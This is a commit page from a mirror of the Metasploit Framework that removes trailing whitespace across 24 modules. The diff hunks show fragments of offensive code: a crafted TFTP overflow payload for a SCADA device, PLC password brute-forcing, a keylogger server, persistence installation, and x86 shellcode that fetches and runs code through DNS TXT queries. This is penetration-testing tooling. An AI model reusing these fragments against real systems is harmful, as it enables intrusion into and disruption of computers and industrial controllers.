infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Massive whitespace destruction 

Remove whitespace found at the end of the line
unstable
sinn3r 2012-06-06 00:36:17 -05:00
parent c30af98b53
commit 3f0431cf51
24 changed files with 56 additions and 56 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
modules/auxiliary/admin/edirectory/edirectory_edirutil.rb
View File

@ -80,8 +80,8 @@ class Metasploit3 < Msf::Auxiliary
'Description' => 'Start a service', 'Description' => 'Start a service',
'CMD' => 'novell.embox.service.startService', 'CMD' => 'novell.embox.service.startService',
'PATTERN' => /<DSService:Message dt="Binary">(.*)<\/DSService:Message>/, 'PATTERN' => /<DSService:Message dt="Binary">(.*)<\/DSService:Message>/,
'PARAM' => '<Parameters>' + 'PARAM' => '<Parameters>' +
'<params xmlns:DSService="service.dtd">' + '<params xmlns:DSService="service.dtd">' +
'<DSService:moduleName>__PARAM__</DSService:moduleName>'+ '<DSService:moduleName>__PARAM__</DSService:moduleName>'+
'</params></Parameters>', '</params></Parameters>',
'USE_PARAM' => true 'USE_PARAM' => true

2
modules/auxiliary/admin/scada/modicon_command.rb
View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
DigitalBond. DigitalBond.
}, },
'Author' => 'Author' =>
[ [
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups 'todb' # Metasploit fixups
], ],

6
modules/auxiliary/admin/scada/modicon_password_recovery.rb
View File

@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status "#{ip}:#{rport} - FTP - Connecting" vprint_status "#{ip}:#{rport} - FTP - Connecting"
if connect_login() if connect_login()
print_status("#{ip}:#{rport} - FTP - Login succeeded") print_status("#{ip}:#{rport} - FTP - Login succeeded")
report_auth_info( report_auth_info(
:host => ip, :host => ip,
:port => rport, :port => rport,
:proto => 'tcp', :proto => 'tcp',
@ -181,9 +181,9 @@ class Metasploit3 < Msf::Auxiliary
# Can we add a nicer dictionary? Revershing the hash # Can we add a nicer dictionary? Revershing the hash
# using Metasploit's existing loginDefaultencrypt dictionary yields # using Metasploit's existing loginDefaultencrypt dictionary yields
# plaintexts that contain non-ascii characters for some hashes. # plaintexts that contain non-ascii characters for some hashes.
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt # check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb, # for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
# and it can be done in just a few lines of ruby. # and it can be done in just a few lines of ruby.
# See https://github.com/cvonkleist/vxworks_hash # See https://github.com/cvonkleist/vxworks_hash
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0] modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1] modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]

8
modules/auxiliary/admin/scada/modicon_stux_transfer.rb
View File

@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
Two modes are supported: "SEND" and "RECV," which behave as one might Two modes are supported: "SEND" and "RECV," which behave as one might
expect -- use 'set mode ACTIONAME' to use either mode of operation. expect -- use 'set mode ACTIONAME' to use either mode of operation.
In either mode, FILENAME must be set to a valid path to an existing In either mode, FILENAME must be set to a valid path to an existing
file (for SENDing) or a new file (for RECVing), and the directory must file (for SENDing) or a new file (for RECVing), and the directory must
already exist. The default, 'modicon_ladder.apx' is a blank already exist. The default, 'modicon_ladder.apx' is a blank
ladder logic file which can be used for testing. ladder logic file which can be used for testing.
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('FILENAME', OptString.new('FILENAME',
[ [
true, true,
"The file to send or receive", "The file to send or receive",
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx") File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
]), ]),
OptEnum.new("MODE", [true, 'File transfer operation', "SEND", OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
sock.put(payload) sock.put(payload)
@modbuscounter += 1 @modbuscounter += 1
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test. # TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
r = sock.recv(65535, 0.1) r = sock.recv(65535, 0.1)
return r return r
end end
@ -194,7 +194,7 @@ class Metasploit3 < Msf::Auxiliary
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.") print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
return return
end end
lastblocksize = buf.length - (blocksize*fullblocks) lastblocksize = buf.length - (blocksize*fullblocks)
fileblocks = fullblocks fileblocks = fullblocks
if lastblocksize != 0 if lastblocksize != 0
fileblocks += 1 fileblocks += 1

10
modules/auxiliary/dos/scada/d20_tftp_overflow.rb
View File

@ -34,7 +34,7 @@ class Metasploit3 < Msf::Auxiliary
DigitalBond. DigitalBond.
}, },
'Author' => 'Author' =>
[ [
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module 'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups 'todb' # Metasploit fixups
], ],
@ -58,12 +58,12 @@ class Metasploit3 < Msf::Auxiliary
def run def run
udp_sock = Rex::Socket::Udp.create( udp_sock = Rex::Socket::Udp.create(
'LocalHost' => datastore['LHOST'] || nil, 'LocalHost' => datastore['LHOST'] || nil,
'PeerHost' => rhost, 'PeerHost' => rhost,
'PeerPort' => rport, 'PeerPort' => rport,
'Context' => {'Msf' => framework, 'MsfExploit' => self} 'Context' => {'Msf' => framework, 'MsfExploit' => self}
) # No need to rescue, it's a UDP faux-socket ) # No need to rescue, it's a UDP faux-socket
udp_sock.sendto(payload, rhost, rport) udp_sock.sendto(payload, rhost, rport)
recv = udp_sock.timed_read(65535, recv_timeout) recv = udp_sock.timed_read(65535, recv_timeout)
if recv and recv.size > 0 if recv and recv.size > 0
udp_sock.sendto(payload, rhost, rport) udp_sock.sendto(payload, rhost, rport)
else else
@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def payload def payload
"\x00\x01NVRAM\\D20.zlb\x00netascii" + "\x00\x01NVRAM\\D20.zlb\x00netascii" +
"\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" + "\x80\x80\x80\x80\x80\x80\x80\x81\x80\x80\x80\x82\x80\x80\x80\x83" +
"\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" + "\x80\x80\x80\x84\x80\x80\x80\x85\x80\x80\x80\x86\x80\x80\x80\x87\x80\x80\x80\x88" +
@ -134,7 +134,7 @@ class Metasploit3 < Msf::Auxiliary
"\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" + "\x80\x80\x81\xF0\x80\x80\x81\xF1\x80\x80\x81\xF2\x80\x80\x81\xF3\x80\x80\x81\xF4" +
"\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" + "\x80\x80\x81\xF5\x80\x80\x81\xF6\x80\x80\x81\xF7\x80\x80\x81\xF8\x80\x80\x81\xF9" +
"\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" + "\x80\x80\x81\xFA\x80\x80\x81\xFB\x80\x80\x81\xFC\x80\x80\x81\xFD\x80\x80\x81\xFE" +
"\x80\x80\x82\x80\x80\x80\x82\x81" "\x80\x80\x82\x80\x80\x80\x82\x81"
end end
end end

10
modules/auxiliary/gather/corpwatch_lookup_id.rb
View File

@ -152,7 +152,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Number of parent companies: " + num_parents) print_status("Number of parent companies: " + num_parents)
print_status("Number of child companies: " + num_children) print_status("Number of child companies: " + num_children)
print_status("Max lookup year: " + max_year) print_status("Max lookup year: " + max_year)
print_status("Min lookup year: " + min_year) print_status("Min lookup year: " + min_year)
} }
if datastore['GET_LOCATIONS'] if datastore['GET_LOCATIONS']
@ -215,7 +215,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Full Address: " + full_address) print_status("Full Address: " + full_address)
print_status("Street 1: " + street1) print_status("Street 1: " + street1)
print_status("Street 2: " + street2) print_status("Street 2: " + street2)
print_status("City: " + city) print_status("City: " + city)
print_status("State:" + state) print_status("State:" + state)
print_status("Postal Code: " + zip) print_status("Postal Code: " + zip)
print_status("Date address was valid: " + date_valid) print_status("Date address was valid: " + date_valid)
@ -233,7 +233,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET' 'method' => 'GET'
}, 25) }, 25)
if res == nil if res == nil
print_error("Server down or bad response") print_error("Server down or bad response")
return return
end end
@ -293,7 +293,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET' 'method' => 'GET'
}, 25) }, 25)
if res == nil if res == nil
print_error("Server down or response broken") print_error("Server down or response broken")
return return
end end
@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'GET' 'method' => 'GET'
}, 25) }, 25)
if res == nil if res == nil
print_error("Server down or bad response") print_error("Server down or bad response")
return return
end end

4
modules/auxiliary/scanner/http/blind_sql_query.rb
View File

@ -92,9 +92,9 @@ class Metasploit3 < Msf::Auxiliary
inivalstr.each do |vstr| inivalstr.each do |vstr|
# With true values # With true values
valstr << vstr valstr << vstr
# With false values, appending 'x' to real value # With false values, appending 'x' to real value
valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]] valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]]
# With false values, appending '0' to real value # With false values, appending '0' to real value
valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]] valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]]
end end

2
modules/auxiliary/scanner/http/dolibarr_login.rb
View File

@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'Dolibarr ERP & CRM 3 Login Utility', 'Name' => 'Dolibarr ERP & CRM 3 Login Utility',
'Description' => %q{ 'Description' => %q{
This module attempts to authenticate to a Dolibarr ERP/CRM's admin web interface, This module attempts to authenticate to a Dolibarr ERP/CRM's admin web interface,
and should only work against version 3.1.1 or older, because these versions do not and should only work against version 3.1.1 or older, because these versions do not
have any default protections against bruteforcing. have any default protections against bruteforcing.
}, },

2
modules/auxiliary/scanner/http/http_version.rb
View File

@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_raw({'uri' => '/', 'method' => 'GET' }) res = send_request_raw({'uri' => '/', 'method' => 'GET' })
return if not res return if not res
fp = http_fingerprint(:response => res) fp = http_fingerprint(:response => res)
print_status("#{ip}:#{rport} #{fp}") if fp print_status("#{ip}:#{rport} #{fp}") if fp
rescue ::Timeout::Error, ::Errno::EPIPE rescue ::Timeout::Error, ::Errno::EPIPE
end end

2
modules/auxiliary/scanner/http/s40_traversal.rb
View File

@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
The flaw is due to the 'page' function not properly handling the $pid parameter, The flaw is due to the 'page' function not properly handling the $pid parameter,
which allows a malicious user to load an arbitrary file path. which allows a malicious user to load an arbitrary file path.
}, },
'References' => 'References' =>
[ [
[ 'OSVDB', '82469'], [ 'OSVDB', '82469'],
[ 'EDB', '17129' ] [ 'EDB', '17129' ]

6
modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb
View File

@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
print_status "Trying #{user}:#{pass}" print_status "Trying #{user}:#{pass}"
result = do_login(user, pass) result = do_login(user, pass)
case result case result
when :success when :success
print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}" print_good "#{ip}:#{rport} Login Successful #{user}:#{pass}"
report_auth_info( report_auth_info(
:host => rhost, :host => rhost,
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary
if pca_at_login?(res) if pca_at_login?(res)
nsock.put(euser) nsock.put(euser)
res = nsock.get_once(-1,5) res = nsock.get_once(-1,5)
end end
#Check if we are now at the password prompt #Check if we are now at the password prompt
unless res and res.include? "Enter password" unless res and res.include? "Enter password"
@ -105,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary
disconnect() disconnect()
return :reset return :reset
elsif res.include? "Invalid login" elsif res.include? "Invalid login"
return :fail return :fail
else else
disconnect() disconnect()
return :success return :success

6
modules/auxiliary/scanner/scada/koyo_login.rb
View File

@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility', 'Name' => 'Koyo DirectLogic PLC Password Brute Force Utility',
'Version' => '$Revision$', 'Version' => '$Revision$',
'Description' => %q{ 'Description' => %q{
This module attempts to authenticate to a locked Koyo DirectLogic PLC. This module attempts to authenticate to a locked Koyo DirectLogic PLC.
The PLC uses a restrictive passcode, which can be A0000000 through A9999999. The PLC uses a restrictive passcode, which can be A0000000 through A9999999.
The "A" prefix can also be changed by the administrator to any other character, The "A" prefix can also be changed by the administrator to any other character,
which can be set through the PREFIX option of this module. which can be set through the PREFIX option of this module.
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
# Create a socket in order to receive responses from a non-default IP # Create a socket in order to receive responses from a non-default IP
@udp_sock = Rex::Socket::Udp.create( @udp_sock = Rex::Socket::Udp.create(
'PeerHost' => rhost, 'PeerHost' => rhost,
'PeerPort' => rport.to_i, 'PeerPort' => rport.to_i,
'Context' => {'Msf' => framework, 'MsfExploit' => self} 'Context' => {'Msf' => framework, 'MsfExploit' => self}
) )
@ -117,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
next if not res next if not res
print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}" print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"
report_auth_info( report_auth_info(
:host => rhost, :host => rhost,
:port => rport.to_i, :port => rport.to_i,
:proto => 'udp', :proto => 'udp',

2
modules/auxiliary/scanner/smb/smb_enumshares.rb
View File

@ -153,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0 raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0
if comment_length != comment_max_length if comment_length != comment_max_length
raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})" raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
end end
comment = res.slice!(0, 2 * comment_length).gsub('\x00','') comment = res.slice!(0, 2 * comment_length).gsub('\x00','')
res.slice!(0,2) if comment_length % 2 == 1 # pad res.slice!(0,2) if comment_length % 2 == 1 # pad

4
modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb
View File

@ -282,7 +282,7 @@ class Metasploit3 < Msf::Auxiliary
keyfile_path = store_loot( keyfile_path = store_loot(
ltype, ltype,
"application/octet-stream", # Text, but always want to mime-type attach it "application/octet-stream", # Text, but always want to mime-type attach it
ip, ip,
(key_data + "\n"), (key_data + "\n"),
"#{safe_username}_#{ktype}.pub", "#{safe_username}_#{ktype}.pub",
key_id key_id
@ -290,7 +290,7 @@ class Metasploit3 < Msf::Auxiliary
return keyfile_path return keyfile_path
end end
def run_host(ip) def run_host(ip)
# Since SSH collects keys and tries them all on one authentication session, it doesn't # Since SSH collects keys and tries them all on one authentication session, it doesn't
# make sense to iteratively go through all the keys individually. So, ignore the pass variable, # make sense to iteratively go through all the keys individually. So, ignore the pass variable,
# and try all available keys for all users. # and try all available keys for all users.

2
modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb
View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
else else
esx_roles.each do |role| esx_roles.each do |role|
role_map[role['roleId']] = { role_map[role['roleId']] = {
"name" => role['name'], "name" => role['name'],
"system" => role['system'], "system" => role['system'],
"summary" => role['info']['summary'] "summary" => role['info']['summary']
} }

2
modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb
View File

@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary
'cookie' => @vim_cookie, 'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}"} 'headers' => { 'Authorization' => "Basic #{@user_pass}"}
}, 25) }, 25)
if res if res
@vim_cookie = res.headers['Set-Cookie'] @vim_cookie = res.headers['Set-Cookie']
if res.code == 200 if res.code == 200
img = res.body img = res.body

2
modules/auxiliary/server/capture/http_javascript_keylogger.rb
View File

@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
logging through JavaScript. The DEMO option can be set to enable logging through JavaScript. The DEMO option can be set to enable
a page that demonstrates this technique. Future improvements will a page that demonstrates this technique. Future improvements will
allow for a configurable template to be used with this module. allow for a configurable template to be used with this module.
To use this module with an existing web page, simply add a To use this module with an existing web page, simply add a
script source tag pointing to the URL of this service ending script source tag pointing to the URL of this service ending
in the .js extension. For example, if URIPATH is set to "test", in the .js extension. For example, if URIPATH is set to "test",
the following URL will load this script into the calling site: the following URL will load this script into the calling site:

2
modules/exploits/windows/browser/safari_xslt_output.rb
View File

@ -100,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote
</vbs> </vbs>
<!-- The XSLT stylesheet header, including the "sx" extension --> <!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0" <xsl:stylesheet id="fragment" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sx="http://icl.com/saxon" xmlns:sx="http://icl.com/saxon"
extension-element-prefixes="sx" extension-element-prefixes="sx"

2
modules/exploits/windows/ftp/ricoh_dl_bof.rb
View File

@ -93,7 +93,7 @@ end
=begin =begin
0:002> lmv m SR10 0:002> lmv m SR10
start end module name start end module name
00400000 00410000 SR10 (deferred) 00400000 00410000 SR10 (deferred)
Image path: C:\Program Files\DC Software\SR10.exe Image path: C:\Program Files\DC Software\SR10.exe
Image name: SR10.exe Image name: SR10.exe
Timestamp: Mon May 19 23:55:32 2008 (483275E4) Timestamp: Mon May 19 23:55:32 2008 (483275E4)

2
modules/exploits/windows/lotus/domino_icalendar_organizer.rb
View File

@ -299,7 +299,7 @@ cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
func: kernel32!BaseThreadStart+4b (77e4a943) func: kernel32!BaseThreadStart+4b (77e4a943)
Invalid exception stack at ffffffff Invalid exception stack at ffffffff
0:008> k 0:008> k
ChildEBP RetAddr ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong. WARNING: Frame IP not in any known module. Following frames may be wrong.
08da9cbc 43434343 0x42424242 08da9cbc 43434343 0x42424242
08da9cc0 43434343 0x43434343 08da9cc0 43434343 0x43434343

26
modules/payloads/singles/windows/dns_txt_query_exec.rb
View File

@ -26,7 +26,7 @@ module Metasploit3
'Arch' => ARCH_X86 'Arch' => ARCH_X86
)) ))
# EXITFUNC is not supported # EXITFUNC is not supported
deregister_options('EXITFUNC') deregister_options('EXITFUNC')
# Register command execution options # Register command execution options
@ -36,11 +36,11 @@ module Metasploit3
], self.class) ], self.class)
end end
# #
# Usage : # Usage :
# 1. Generate the shellcode you want to deliver via DNS TXT queries # 1. Generate the shellcode you want to deliver via DNS TXT queries
# Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister # Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister
# Example : # Example :
# ./msfpayload windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" R | ./msfencode -e x86/alpha_mixed Bufferregister=EDI -t raw # ./msfpayload windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" R | ./msfencode -e x86/alpha_mixed Bufferregister=EDI -t raw
# Output : 654 bytes # Output : 654 bytes
# 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes) # 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes)
@ -89,7 +89,7 @@ api_call:
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: next_mod:
mov esi, [edx+40] ; Get pointer to modules name (unicode string) mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ; loop_modname: ;
xor eax, eax ; Clear EAX xor eax, eax ; Clear EAX
@ -104,7 +104,7 @@ not_lowercase: ;
; We now have the module hash computed ; We now have the module hash computed
push edx ; Save the current position in the module list for later push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later push edi ; Save the current module hash for later
; Proceed to iterate the export address table, ; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
@ -113,7 +113,7 @@ not_lowercase: ;
jz get_next_mod1 ; If no EAT present, process the next module jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
; Computing the module hash + function hash ; Computing the module hash + function hash
@ -132,14 +132,14 @@ loop_funcname: ;
cmp al, ah ; Compare AL (the next byte from the name) to AH (null) cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one... ; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA add eax, edx ; Add the modules base address to get the functions actual VA
@ -175,7 +175,7 @@ alloc_space:
push eax ; dwSize (0x1000) push eax ; dwSize (0x1000)
push 0x0 ; lpAddress push 0x0 ; lpAddress
push 0xE553A458 ; kernel32.dll!VirtualAlloc push 0xE553A458 ; kernel32.dll!VirtualAlloc
call ebp call ebp
push eax ; save pointer on stack, will be used in memcpy push eax ; save pointer on stack, will be used in memcpy
mov #{bufferreg}, eax ; save pointer, to jump to at the end mov #{bufferreg}, eax ; save pointer, to jump to at the end
@ -192,7 +192,7 @@ load_dnsapi:
call ebp ; LoadLibraryA( "dnsapi" ) call ebp ; LoadLibraryA( "dnsapi" )
;prepare for loop of queries ;prepare for loop of queries
mov bl,0x61 ; first query, start with 'a' mov bl,0x61 ; first query, start with 'a'
dnsquery: dnsquery:
jmp get_dnsname ; get dnsname jmp get_dnsname ; get dnsname
@ -212,7 +212,7 @@ get_dnsname_return:
push #{wType} ; wType push #{wType} ; wType
push eax ; lpstrName push eax ; lpstrName
push 0xC99CC96A ; dnsapi.dll!DnsQuery_A push 0xC99CC96A ; dnsapi.dll!DnsQuery_A
call ebp ; call ebp ;
test eax, eax ; query ok ? test eax, eax ; query ok ?
jnz jump_to_payload ; no, jump to payload jnz jump_to_payload ; no, jump to payload
jmp get_query_result ; eax = 0 : a piece returned, fetch it jmp get_query_result ; eax = 0 : a piece returned, fetch it

2
modules/post/windows/gather/checkvm.rb
View File

@ -235,7 +235,7 @@ class Metasploit3 < Msf::Post
end end
end end
if vm if vm
print_status("This is a Sun VirtualBox Virtual Machine") print_status("This is a Sun VirtualBox Virtual Machine")
return "VirtualBox" return "VirtualBox"
end end
end end

2
modules/post/windows/gather/win_privs.rb
View File

@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post
'Description' => %q{ 'Description' => %q{
This module will print if UAC is enabled, and if the current account is This module will print if UAC is enabled, and if the current account is
ADMIN enabled. It will also print UID, foreground SESSION ID, is SYSTEM status ADMIN enabled. It will also print UID, foreground SESSION ID, is SYSTEM status
and current process PRIVILEGES. and current process PRIVILEGES.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'Merlyn Cousins <drforbin6[at]gmail.com>'], 'Author' => [ 'Merlyn Cousins <drforbin6[at]gmail.com>'],

2
modules/post/windows/manage/persistence.rb
View File

@ -346,7 +346,7 @@ class Metasploit3 < Msf::Post
# Function to install payload as a service # Function to install payload as a service
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def install_as_service(script_on_target) def install_as_service(script_on_target)
if is_system? or is_admin? if is_system? or is_admin?
print_status("Installing as service..") print_status("Installing as service..")
nam = Rex::Text.rand_text_alpha(rand(8)+8) nam = Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Creating service #{nam}") print_status("Creating service #{nam}")